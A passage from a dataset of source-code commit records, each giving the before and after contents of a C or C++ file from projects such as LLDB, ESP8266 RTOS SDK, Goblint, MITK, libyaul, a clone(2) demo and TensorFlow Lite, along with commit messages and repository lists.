,yiakwy\/numpy,rajathkumarmp\/numpy,ekalosak\/numpy,ViralLeadership\/numpy,dwf\/numpy,NextThought\/pypy-numpy,GaZ3ll3\/numpy,stefanv\/numpy,BabeNovelty\/numpy,jonathanunderwood\/numpy,mathdd\/numpy,NextThought\/pypy-numpy,WarrenWeckesser\/numpy,ContinuumIO\/numpy,ogrisel\/numpy,NextThought\/pypy-numpy,Yusa95\/numpy,has2k1\/numpy,ChristopherHogan\/numpy,SiccarPoint\/numpy,jankoslavic\/numpy,rgommers\/numpy,bmorris3\/numpy,hainm\/numpy,ddasilva\/numpy,shoyer\/numpy,chatcannon\/numpy,cjermain\/numpy,tynn\/numpy,gfyoung\/numpy,jschueller\/numpy,rgommers\/numpy,chatcannon\/numpy,stefanv\/numpy,brandon-rhodes\/numpy,ContinuumIO\/numpy,MSeifert04\/numpy,cowlicks\/numpy,skwbc\/numpy,skwbc\/numpy,grlee77\/numpy,tdsmith\/numpy,andsor\/numpy,kirillzhuravlev\/numpy,abalkin\/numpy,rudimeier\/numpy,ahaldane\/numpy,gfyoung\/numpy,GaZ3ll3\/numpy,skymanaditya1\/numpy,matthew-brett\/numpy,utke1\/numpy,musically-ut\/numpy,pdebuyl\/numpy,musically-ut\/numpy,tacaswell\/numpy,ContinuumIO\/numpy,GrimDerp\/numpy,dwillmer\/numpy,KaelChen\/numpy,BabeNovelty\/numpy,embray\/numpy,mattip\/numpy,maniteja123\/numpy,dch312\/numpy,CMartelLML\/numpy,MaPePeR\/numpy,jankoslavic\/numpy,mhvk\/numpy,Eric89GXL\/numpy,ddasilva\/numpy,BabeNovelty\/numpy,SunghanKim\/numpy,rudimeier\/numpy,sonnyhu\/numpy,musically-ut\/numpy,rhythmsosad\/numpy,larsmans\/numpy,mindw\/numpy,b-carter\/numpy,skwbc\/numpy,MSeifert04\/numpy,dwf\/numpy,WillieMaddox\/numpy,numpy\/numpy,pelson\/numpy,trankmichael\/numpy,kiwifb\/numpy,rhythmsosad\/numpy,anntzer\/numpy,jorisvandenbossche\/numpy,pbrod\/numpy,rherault-insa\/numpy,larsmans\/numpy,yiakwy\/numpy,Srisai85\/numpy,MichaelAquilina\/numpy,mhvk\/numpy,gfyoung\/numpy,nguyentu1602\/numpy,shoyer\/numpy,mhvk\/numpy,empeeu\/numpy,GrimDerp\/numpy,immerrr\/numpy,argriffing\/numpy,dato-code\/numpy,mingwpy\/numpy,ahaldane\/numpy,mattip\/numpy,rmcgibbo\/numpy,gmcastil\/numpy,sinhrks\/numpy,maniteja123\/numpy,shoyer\/numpy,sigma-random\/numpy,moreati\/numpy,kiwifb\/numpy,jankoslavic\/numpy,ewmoore\/numpy,skymanaditya1\/numpy,embray\/numpy,drasmuss\/numpy,MichaelAquilina\/numpy,dch312\/numpy,mortada\/numpy,githubmlai\/numpy,ahaldane\/numpy,simongibbons\/numpy,mhvk\/numpy,sinhrks\/numpy,yiakwy\/numpy,githubmlai\/numpy,dimasad\/numpy,andsor\/numpy,ViralLeadership\/numpy,GaZ3ll3\/numpy,dch312\/numpy,ESSS\/numpy,pelson\/numpy,bertrand-l\/numpy,skymanaditya1\/numpy,sonnyhu\/numpy,dwillmer\/numpy,rudimeier\/numpy,b-carter\/numpy,grlee77\/numpy,musically-ut\/numpy,kirillzhuravlev\/numpy,nguyentu1602\/numpy,rmcgibbo\/numpy,numpy\/numpy,pizzathief\/numpy,utke1\/numpy,endolith\/numpy,madphysicist\/numpy,Srisai85\/numpy,dato-code\/numpy,astrofrog\/numpy,pyparallel\/numpy,joferkington\/numpy,tdsmith\/numpy,KaelChen\/numpy,simongibbons\/numpy,leifdenby\/numpy,KaelChen\/numpy,dwf\/numpy,githubmlai\/numpy,solarjoe\/numpy,felipebetancur\/numpy,pizzathief\/numpy,SiccarPoint\/numpy,Srisai85\/numpy,felipebetancur\/numpy,larsmans\/numpy,mathdd\/numpy,mortada\/numpy,naritta\/numpy,stefanv\/numpy,jorisvandenbossche\/numpy,ahaldane\/numpy,mindw\/numpy,bertrand-l\/numpy,KaelChen\/numpy,has2k1\/numpy,ogrisel\/numpy,grlee77\/numpy,MaPePeR\/numpy,mattip\/numpy,sinhrks\/numpy,matthew-brett\/numpy,ekalosak\/numpy,chatcannon\/numpy,BMJHayward\/numpy,gmcastil\/numpy,hainm\/numpy,WarrenWeckesser\/numpy,pyparallel\/numpy,Linkid\/numpy,simongibbons\/numpy,madphysicist\/numpy,ChanderG\/numpy,njase\/numpy,moreati\/numpy,Anwesh43\/numpy,BMJHayward\/numpy,BabeNovelty\/numpy,jorisvandenbossche\/numpy,pbrod\/numpy,ogrisel\/numpy,dwf\/numpy,Yusa95\/numpy,rhythmsosad\/numpy,drasmuss\/numpy,jakirkham\/numpy,andsor\/numpy,mathdd\/numpy,AustereCuriosity\/numpy,charris\/numpy,ajdawson\/numpy,Linkid\/numpy,WillieMaddox\/numpy,ssanderson\/numpy,njase\/numpy,GrimDerp\/numpy,pdebuyl\/numpy,sigma-random\/numpy,pizzathief\/numpy,endolith\/numpy,ddasilva\/numpy,anntzer\/numpy,matthew-brett\/numpy,sinhrks\/numpy,pelson\/numpy,dimasad\/numpy,groutr\/numpy,ChanderG\/numpy,jonathanunderwood\/numpy,simongibbons\/numpy,MaPePeR\/numpy,Anwesh43\/numpy,hainm\/numpy,dato-code\/numpy,immerrr\/numpy,mindw\/numpy,cowlicks\/numpy,solarjoe\/numpy,rherault-insa\/numpy,chiffa\/numpy,madphysicist\/numpy,tynn\/numpy,mhvk\/numpy,astrofrog\/numpy,sonnyhu\/numpy,bringingheavendown\/numpy,tdsmith\/numpy,dimasad\/numpy,githubmlai\/numpy,mortada\/numpy,shoyer\/numpy,immerrr\/numpy,rgommers\/numpy,anntzer\/numpy,rherault-insa\/numpy,skymanaditya1\/numpy,jorisvandenbossche\/numpy,WarrenWeckesser\/numpy,mindw\/numpy,endolith\/numpy,larsmans\/numpy,pizzathief\/numpy,naritta\/numpy,felipebetancur\/numpy,argriffing\/numpy,rajathkumarmp\/numpy,trankmichael\/numpy,stefanv\/numpy,CMartelLML\/numpy,bmorris3\/numpy,ogrisel\/numpy,dwf\/numpy,andsor\/numpy,Dapid\/numpy,matthew-brett\/numpy,madphysicist\/numpy,jschueller\/numpy,seberg\/numpy"}
{"commit":"f1ab4741e908aef88a7ac7f0c375b75fe51c39b4","old_file":"packages\/Python\/lldbsuite\/test\/lang\/c\/inlines\/main.c","new_file":"packages\/Python\/lldbsuite\/test\/lang\/c\/inlines\/main.c","old_contents":"#include <stdio.h>\n\nvoid test1(int) __attribute__ ((always_inline));\nvoid test2(int) __attribute__ ((always_inline));\n\nvoid test2(int b) {\n    printf(\"test2(%d)\\n\", b); \/\/% self.expect(\"expression b\", DATA_TYPES_DISPLAYED_CORRECTLY, substrs = [\"42\"])\n}\n\nvoid test1(int a) {\n    printf(\"test1(%d)\\n\",  a);\n    test2(a+1);\/\/% self.dbg.HandleCommand(\"step\")\n               \/\/% self.expect(\"expression b\", DATA_TYPES_DISPLAYED_CORRECTLY, substrs = [\"24\"])\n}\n\nint main() {\n    test2(42);\n    test1(23);\n}\n","new_contents":"#include <stdio.h>\n\ninline void test1(int) __attribute__ ((always_inline));\ninline void test2(int) __attribute__ ((always_inline));\n\nvoid test2(int b) {\n    printf(\"test2(%d)\\n\", b); \/\/% self.expect(\"expression b\", DATA_TYPES_DISPLAYED_CORRECTLY, substrs = [\"42\"])\n}\n\nvoid test1(int a) {\n    printf(\"test1(%d)\\n\",  a);\n    test2(a+1);\/\/% self.dbg.HandleCommand(\"step\")\n               \/\/% self.expect(\"expression b\", DATA_TYPES_DISPLAYED_CORRECTLY, substrs = [\"24\"])\n}\n\nint main() {\n    test2(42);\n    test1(23);\n}\n","subject":"Make sure TestRedefinitionsInInlines.py actually inlines.","message":"Make sure TestRedefinitionsInInlines.py actually inlines.\n\nReviewers: spyffe\n\nSubscribers: lldb-commits\n\nDifferential Revision: http:\/\/reviews.llvm.org\/D20540\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@270493 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb"}
{"commit":"2a60aff9425ba701f5669a6732412d30b89dd410","old_file":"components\/esp8266\/include\/internal\/esp_wifi_internal.h","new_file":"components\/esp8266\/include\/internal\/esp_wifi_internal.h","old_contents":"","new_contents":"\/\/ Copyright 2018-2019 Espressif Systems (Shanghai) PTE LTD\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef _ESP_WIFI_INTERNAL_H\n#define _ESP_WIFI_INTERNAL_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef enum {\n    WIFI_RX_PBUF_IRAM,   \/** save rx buffer to iram and upload to tcpip*\/\n    WIFI_RX_PBUF_DRAM,   \/** save rx buffer to dram and upload to tcpip *\/\n} wifi_rx_pbuf_mem_type_t;\n\n\/**\n  * @brief     Set WIFI received TCP\/IP data cache ram type\n  *\n  * @param     type if use dram\n  *\/\nvoid esp_wifi_set_rx_pbuf_mem_type(wifi_rx_pbuf_mem_type_t type);\n\n\/**\n  * @brief     get WIFI received TCP\/IP data cache ram type\n  *\n  * @return    true if use dram or false\n  *\/\nwifi_rx_pbuf_mem_type_t esp_wifi_get_rx_pbuf_mem_type(void);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* _ESP_WIFI_INTERNAL_H *\/\n","subject":"Add feature to set\/get WIFI rx data ram type","message":"feat(esp8266): Add feature to set\/get WIFI rx data ram type\n\nUse iram to upload pbuf.\n","lang":"C","license":"apache-2.0","repos":"espressif\/ESP8266_RTOS_SDK,espressif\/ESP8266_RTOS_SDK,espressif\/ESP8266_RTOS_SDK,espressif\/ESP8266_RTOS_SDK,espressif\/ESP8266_RTOS_SDK"}
{"commit":"e157719757e4005148287de3831e4b585715ebfd","old_file":"tests\/regression\/31-ikind-aware-ints\/16-enums-compare.c","new_file":"tests\/regression\/31-ikind-aware-ints\/16-enums-compare.c","old_contents":"\/\/PARAM: --enable ana.int.enums --disable ana.int.def_exc\nint main(){\n    int top = rand();\n    int x,y;\n\n    if(top){\n        x = 1;\n    } else{\n        x = 0;\n    }\n\n    assert(x < 2);\n    assert(x < 1); \/\/ UNKNOWN!\n    assert(x < 0); \/\/ FAIL\n\n    assert(x <= 2);\n    assert(x <= 1);\n    assert(x <= 0); \/\/ UNKNOWN!\n    assert(x <= -1); \/\/FAIL\n\n    assert(x > -1);\n    assert(x > 0); \/\/UNKNOWN!\n    assert(x > 1); \/\/FAIL\n\n    assert(x >= -1);\n    assert(x >= 0);\n    assert(x >= 1); \/\/UNKNOWN!\n    assert(x >= 2); \/\/FAIL\n    return 0;\n}\n","new_contents":"\/\/PARAM: --enable ana.int.enums --disable ana.int.def_exc\nint main(){\n    int top = rand();\n    int top2 = rand();\n    int x,y;\n\n    if(top){\n        x = 1;\n    } else{\n        x = 0;\n    }\n\n    if(top2){\n        y = 1;\n    } else{\n        y = 0;\n    }\n\n    assert(x < 2);\n    assert(x < 1); \/\/ UNKNOWN!\n    assert(x < 0); \/\/ FAIL\n\n    assert(x <= 2);\n    assert(x <= 1);\n    assert(x <= 0); \/\/ UNKNOWN!\n    assert(x <= -1); \/\/FAIL\n\n    assert(x > -1);\n    assert(x > 0); \/\/UNKNOWN!\n    assert(x > 1); \/\/FAIL\n\n    assert(x >= -1);\n    assert(x >= 0);\n    assert(x >= 1); \/\/UNKNOWN!\n    assert(x >= 2); \/\/FAIL\n\n    assert(x == y); \/\/ UNKNOWN\n    assert(x == 1); \/\/ UNKNOWN\n    assert(x == 2); \/\/ FAIL\n\n    assert(x != y); \/\/ UNKNOWN\n    assert(x != 1); \/\/ UNKNOWN\n    assert(x != 2);\n\n    int z = rand();\n    y = 3;\n    if(z==3){\n        assert(y==z);\n        assert(y!=z); \/\/FAIL\n    } else {\n        assert(y==z); \/\/FAIL\n        assert(y!=z);\n    }\n\n    return 0;\n}\n","subject":"Add more asserts for eq and ne in Enums","message":"Add more asserts for eq and ne in Enums\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"23db9892b5bdf8493b86ff5676d5cc29f17588ab","old_file":"Modules\/OpenViewCore\/include\/QVTKFramebufferObjectRenderer.h","new_file":"Modules\/OpenViewCore\/include\/QVTKFramebufferObjectRenderer.h","old_contents":"\/*===================================================================\n\n The Medical Imaging Interaction Toolkit (MITK)\n\n Copyright (c) German Cancer Research Center,\n Division of Medical and Biological Informatics.\n All rights reserved.\n\n This software is distributed WITHOUT ANY WARRANTY; without\n even the implied warranty of MERCHANTABILITY or FITNESS FOR\n A PARTICULAR PURPOSE.\n\n See LICENSE.txt or http:\/\/www.mitk.org for details.\n\n ===================================================================*\/\n\n#ifndef __QVTKFramebufferObjectRenderer_h\n#define __QVTKFramebufferObjectRenderer_h\n\n#include <QQuickFramebufferObject>\n\n#include \"QVTKQuickItem.h\"\n\n#include <MitkOpenViewCoreExports.h>\n\nclass vtkInternalOpenGLRenderWindow;\n\n\/\/! Part of Qml rendering prototype, see QmlMitkRenderWindowItem.\nclass MITKOPENVIEWCORE_EXPORT QVTKFramebufferObjectRenderer : public QQuickFramebufferObject::Renderer\n{\npublic:\n  bool m_neverRendered;\n  bool m_readyToRender;\n  vtkInternalOpenGLRenderWindow *m_vtkRenderWindow;\n\n  QVTKQuickItem *m_vtkQuickItem;\n\npublic:\n  QVTKFramebufferObjectRenderer(vtkInternalOpenGLRenderWindow *rw);\n  ~QVTKFramebufferObjectRenderer();\n\n  virtual void synchronize(QQuickFramebufferObject * item);\n  virtual void render();\n\n  QOpenGLFramebufferObject *createFramebufferObject(const QSize &size);\n\n  friend class vtkInternalOpenGLRenderWindow;\n};\n\n#endif\n","new_contents":"\/*===================================================================\n\n The Medical Imaging Interaction Toolkit (MITK)\n\n Copyright (c) German Cancer Research Center,\n Division of Medical and Biological Informatics.\n All rights reserved.\n\n This software is distributed WITHOUT ANY WARRANTY; without\n even the implied warranty of MERCHANTABILITY or FITNESS FOR\n A PARTICULAR PURPOSE.\n\n See LICENSE.txt or http:\/\/www.mitk.org for details.\n\n ===================================================================*\/\n\n#ifndef __QVTKFramebufferObjectRenderer_h\n#define __QVTKFramebufferObjectRenderer_h\n\n#include <QQuickFramebufferObject>\n\n#include \"QVTKQuickItem.h\"\n\n#include <MitkOpenViewCoreExports.h>\n\nclass vtkInternalOpenGLRenderWindow;\n\n\/\/! Part of Qml rendering prototype, see QmlMitkRenderWindowItem.\nclass MITKOPENVIEWCORE_EXPORT QVTKFramebufferObjectRenderer : public QQuickFramebufferObject::Renderer\n{\npublic:\n  vtkInternalOpenGLRenderWindow *m_vtkRenderWindow;\n  bool m_neverRendered;\n  bool m_readyToRender;\n\n  QVTKQuickItem *m_vtkQuickItem;\n\npublic:\n  QVTKFramebufferObjectRenderer(vtkInternalOpenGLRenderWindow *rw);\n  ~QVTKFramebufferObjectRenderer();\n\n  virtual void synchronize(QQuickFramebufferObject * item);\n  virtual void render();\n\n  QOpenGLFramebufferObject *createFramebufferObject(const QSize &size);\n\n  friend class vtkInternalOpenGLRenderWindow;\n};\n\n#endif\n","subject":"Fix warnings in OpenViewCore module","message":"Fix warnings in OpenViewCore module\n","lang":"C","license":"bsd-3-clause","repos":"MITK\/MITK,fmilano\/mitk,MITK\/MITK,fmilano\/mitk,fmilano\/mitk,fmilano\/mitk,MITK\/MITK,MITK\/MITK,fmilano\/mitk,fmilano\/mitk,MITK\/MITK,fmilano\/mitk,MITK\/MITK"}
{"commit":"adb4b9f67da9152584a958671ad8aac2aad28f0f","old_file":"PG\/app\/AppConfiguration.h","new_file":"PG\/app\/AppConfiguration.h","old_contents":"#pragma once\n\n#include \"PG\/app\/StyleSheet.h\"\n#include \"PG\/core\/Size.h\"\n\n#include <string>\n\nnamespace PG {\n\t\n\/\/--------------------------------------------------------\nstruct AppConfiguration\n{\n\tstd::string\twindowTitle;\n\tSize\t\twindowSize;\n\t\n\tint\t\t\ttileSize = 32;\n\t\n\tstd::string\tresourcesFilename;\n\tStyleSheet\tstyleSheet;\n};\n\n}\n","new_contents":"#pragma once\n\n#include \"PG\/app\/StyleSheet.h\"\n#include \"PG\/core\/Size.h\"\n\n#include <string>\n\nnamespace PG {\n\t\n\/\/--------------------------------------------------------\nstruct AppConfiguration\n{\n\tstd::string\twindowTitle;\n\tSize\t\twindowSize;\n\t\n\tint\t\t\ttileSize = 32;\n\t\n\tStyleSheet\tstyleSheet;\n};\n\n}\n","subject":"Remove resourcesFilename as it's not required","message":"Remove resourcesFilename as it's not required\n","lang":"C","license":"mit","repos":"mcdreamer\/PG,mcdreamer\/PG"}
{"commit":"e808ebf62fcc63e1c21f9931ffec021604043d35","old_file":"libyaul\/scu\/bus\/cpu\/cpu.h","new_file":"libyaul\/scu\/bus\/cpu\/cpu.h","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _CPU_H_\n#define _CPU_H_\n\n#include <cpu\/cache.h>\n#include <cpu\/divu.h>\n#include <cpu\/dmac.h>\n#include <cpu\/dual.h>\n#include <cpu\/endian.h>\n#include <cpu\/frt.h>\n#include <cpu\/instructions.h>\n#include <cpu\/intc.h>\n#include <cpu\/registers.h>\n#include <cpu\/sync.h>\n#include <cpu\/wdt.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\nextern void cpu_init(void);\nextern void _slave_polling_entry(void);\nextern void _slave_ici_entry(void);\nextern void _exception_illegal_instruction(void);\nextern void _exception_illegal_slot(void);\nextern void _exception_cpu_address_error(void);\nextern void _exception_dma_address_error(void);\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n\n#endif \/* !_CPU_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _CPU_H_\n#define _CPU_H_\n\n#include <cpu\/cache.h>\n#include <cpu\/divu.h>\n#include <cpu\/dmac.h>\n#include <cpu\/dual.h>\n#include <cpu\/endian.h>\n#include <cpu\/frt.h>\n#include <cpu\/instructions.h>\n#include <cpu\/intc.h>\n#include <cpu\/registers.h>\n#include <cpu\/sync.h>\n#include <cpu\/wdt.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\nextern void cpu_init(void);\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n\n#endif \/* !_CPU_H_ *\/\n","subject":"Remove prototypes for static methods","message":"Remove prototypes for static methods","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"11782c7860ced878fed5db2d68d8c8fe3bdfdd1d","old_file":"2018\/clone\/clone-vm-sample.c","new_file":"2018\/clone\/clone-vm-sample.c","old_contents":"#define _GNU_SOURCE\n#include <sched.h>\n#include <sys\/syscall.h>\n#include <sys\/wait.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\nstatic int child_func(void* arg) {\n  return 0;\n}\n\nint main(int argc, char** argv) {\n  \/\/ Stack for child.\n  const int STACK_SIZE = 65536;\n\n  char* stack = malloc(STACK_SIZE);\n  if (!stack) {\n    perror(\"malloc\");\n    exit(1);\n  }\n\n  unsigned long flags = 0;\n  if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, NULL) == -1) {\n    perror(\"clone\");\n    exit(1);\n  }\n\n  int status;\n  pid_t pid = waitpid(-1, &status, 0);\n  if (pid == -1) {\n    perror(\"waitpid\");\n    exit(1);\n  }\n\n  printf(\"    Child PID=%ld\\n\", (long)pid);\n\n  return 0;\n}\n","new_contents":"#define _GNU_SOURCE\n#include <sched.h>\n#include <sys\/syscall.h>\n#include <sys\/wait.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\nstatic int child_func(void* arg) {\n  char* buf = (char*)arg;\n  strcpy(buf, \"hello\");\n  return 0;\n}\n\nint main(int argc, char** argv) {\n  \/\/ Stack for child.\n  const int STACK_SIZE = 65536;\n\n  char* stack = malloc(STACK_SIZE);\n  if (!stack) {\n    perror(\"malloc\");\n    exit(1);\n  }\n\n  unsigned long flags = 0;\n  if (argc > 1 && !strcmp(argv[1], \"vm\")) {\n    flags |= CLONE_VM;\n  }\n\n  char buf[100] = {0};\n  if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) {\n    perror(\"clone\");\n    exit(1);\n  }\n\n  int status;\n  pid_t pid = waitpid(-1, &status, 0);\n  if (pid == -1) {\n    perror(\"waitpid\");\n    exit(1);\n  }\n\n  printf(\"Child exited. buf = \\\"%s\\\"\\n\", buf);\n  return 0;\n}\n","subject":"Clone with\/without VM sample working now","message":"Clone with\/without VM sample working now\n","lang":"C","license":"unlicense","repos":"eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog"}
{"commit":"a835e62e608714541135f90a26f46e919e3e52aa","old_file":"2018\/clone\/clone-vm-sample.c","new_file":"2018\/clone\/clone-vm-sample.c","old_contents":"\/\/ We have to define the _GNU_SOURCE to get access to clone(2) and the CLONE_*\n\/\/ flags from sched.h\n#define _GNU_SOURCE\n#include <sched.h>\n#include <sys\/syscall.h>\n#include <sys\/wait.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\nstatic int child_func(void* arg) {\n  char* buf = (char*)arg;\n  strcpy(buf, \"hello\");\n  return 0;\n}\n\nint main(int argc, char** argv) {\n  \/\/ Allocate stack for child task.\n  const int STACK_SIZE = 65536;\n  char* stack = malloc(STACK_SIZE);\n  if (!stack) {\n    perror(\"malloc\");\n    exit(1);\n  }\n\n  \/\/ When called with the command-line argument \"vm\", set the CLONE_VM flag on.\n  unsigned long flags = 0;\n  if (argc > 1 && !strcmp(argv[1], \"vm\")) {\n    flags |= CLONE_VM;\n  }\n\n  char buf[100] = {0};\n  if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) {\n    perror(\"clone\");\n    exit(1);\n  }\n\n  int status;\n  if (wait(&status) == -1) {\n    perror(\"wait\");\n    exit(1);\n  }\n\n  printf(\"Child exited with status %d. buf = \\\"%s\\\"\\n\", status, buf);\n  return 0;\n}\n","new_contents":"\/\/ We have to define the _GNU_SOURCE to get access to clone(2) and the CLONE_*\n\/\/ flags from sched.h\n#define _GNU_SOURCE\n#include <sched.h>\n#include <sys\/syscall.h>\n#include <sys\/wait.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\nstatic int child_func(void* arg) {\n  char* buf = (char*)arg;\n  printf(\"Child sees buf = \\\"%s\\\"\\n\", buf);\n  strcpy(buf, \"hello from child\");\n  return 0;\n}\n\nint main(int argc, char** argv) {\n  \/\/ Allocate stack for child task.\n  const int STACK_SIZE = 65536;\n  char* stack = malloc(STACK_SIZE);\n  if (!stack) {\n    perror(\"malloc\");\n    exit(1);\n  }\n\n  \/\/ When called with the command-line argument \"vm\", set the CLONE_VM flag on.\n  unsigned long flags = 0;\n  if (argc > 1 && !strcmp(argv[1], \"vm\")) {\n    flags |= CLONE_VM;\n  }\n\n  char buf[100];\n  strcpy(buf, \"hello from parent\");\n  if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) {\n    perror(\"clone\");\n    exit(1);\n  }\n\n  int status;\n  if (wait(&status) == -1) {\n    perror(\"wait\");\n    exit(1);\n  }\n\n  printf(\"Child exited with status %d. buf = \\\"%s\\\"\\n\", status, buf);\n  return 0;\n}\n","subject":"Change the sample to pass message from parent as well","message":"Change the sample to pass message from parent as well\n","lang":"C","license":"unlicense","repos":"eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog"}
{"commit":"4f515b1847d32452f9c0abbc5325eeb3ac94b7e2","old_file":"tensorflow\/lite\/kernels\/internal\/reference\/integer_ops\/lut.h","new_file":"tensorflow\/lite\/kernels\/internal\/reference\/integer_ops\/lut.h","old_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_LITE_KERNELS_INTERNAL_REFERENCE_INTEGER_OPS_LUT_H_\n#define TENSORFLOW_LITE_KERNELS_INTERNAL_REFERENCE_INTEGER_OPS_LUT_H_\n\n#include \"tensorflow\/lite\/kernels\/internal\/common.h\"\n\nnamespace tflite {\nnamespace reference_integer_ops {\n\ntemplate <typename InputT, typename OutputT>\ninline void LookupTable(const InputT* input_data, int num_elements,\n                        const OutputT* lut, OutputT* output_data) {\n  for (int i = 0; i < num_elements; i++) {\n    output_data[i] = LUTLookup(input_data[i], lut);\n  }\n}\n\n}  \/\/ namespace reference_integer_ops\n}  \/\/ namespace tflite\n\n#endif  \/\/ TENSORFLOW_LITE_KERNELS_INTERNAL_REFERENCE_INTEGER_OPS_LUT_H_\n","new_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_LITE_KERNELS_INTERNAL_REFERENCE_INTEGER_OPS_LUT_H_\n#define TENSORFLOW_LITE_KERNELS_INTERNAL_REFERENCE_INTEGER_OPS_LUT_H_\n\n#include \"tensorflow\/lite\/kernels\/internal\/common.h\"\n\nnamespace tflite {\nnamespace reference_integer_ops {\n\ntemplate <typename InputT, typename OutputT>\ninline void LookupTable(const InputT* input_data, int num_elements,\n                        const OutputT* lut, OutputT* output_data) {\n  for (int i = 0; i < num_elements; ++i) {\n    output_data[i] = LUTLookup(input_data[i], lut);\n  }\n}\n\n}  \/\/ namespace reference_integer_ops\n}  \/\/ namespace tflite\n\n#endif  \/\/ TENSORFLOW_LITE_KERNELS_INTERNAL_REFERENCE_INTEGER_OPS_LUT_H_\n","subject":"Use ++i instead of i++","message":"Use ++i instead of i++\n","lang":"C","license":"apache-2.0","repos":"tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,paolodedios\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-e